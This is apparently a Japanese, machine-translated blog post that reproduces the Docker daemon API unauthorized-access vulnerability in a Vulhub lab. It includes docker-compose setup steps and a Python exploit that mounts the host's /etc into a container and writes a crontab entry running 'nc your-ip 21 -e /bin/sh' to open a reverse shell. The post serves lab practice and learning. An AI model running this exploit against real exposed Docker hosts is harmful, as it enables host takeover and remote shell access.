Vulnhubを使用して脆弱性を再現-docker daemon apiが脆弱性にアクセスできない

1889 ワード

docker daemon apiが脆弱性にアクセスできない
  • Vulnhub公式再現チュートリアル
  • 脆弱性原理
  • 脆弱性の再現
  • 起動環境
  • 脆弱性の再現
  • Vulnhub公式再現チュートリアル
    https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.zh-cn.md
    脆弱性の原理
    http://www.loner.fm/drops/#!/drops/1203.新しいポーズのDocker Remote APIは、脆弱性の分析と利用にアクセスできません.
    抜け穴を再現する.
    環境の起動
    https://blog.csdn.net/JiangBuLiu/article/details/93853056アクセスパスは
    cd /root/vulhub/docker/unauthorized-rce
    

    脆弱性環境の構築と運用:
    docker-compose build && docker-compose up -d
    

    時間:1分間の環境起動後、2375ポートがリスニングされます.利用Vulnhub复现漏洞 - docker daemon api 未授权访问漏洞_第1张图片
    脆弱性の再現
    コンテナを任意に起動し、ホストの/etcディレクトリをコンテナにマウントすると、任意にファイルを読み書きできます.コマンドをcrontabプロファイルに書き込み、リバウンドshellを実行できます.【この命令がどこで実行されるか分からない】
    import docker
    
    client = docker.DockerClient(base_url='http://your-ip:2375/')
    data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
    

    crontabファイルを書き込み、shell:利用Vulnhub复现漏洞 - docker daemon api 未授权访问漏洞_第2张图片をリバウンドしました